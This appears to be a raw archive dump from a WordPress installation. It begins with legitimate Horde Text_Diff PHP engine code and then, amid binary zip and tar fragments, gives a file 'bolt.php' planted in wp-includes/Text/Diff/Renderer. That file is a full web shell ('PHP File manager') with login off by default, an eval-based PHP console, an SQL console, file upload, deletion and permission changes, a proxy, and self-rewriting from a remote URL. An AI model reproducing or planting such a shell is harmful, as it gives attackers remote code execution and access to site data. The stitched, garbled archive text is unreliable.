    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
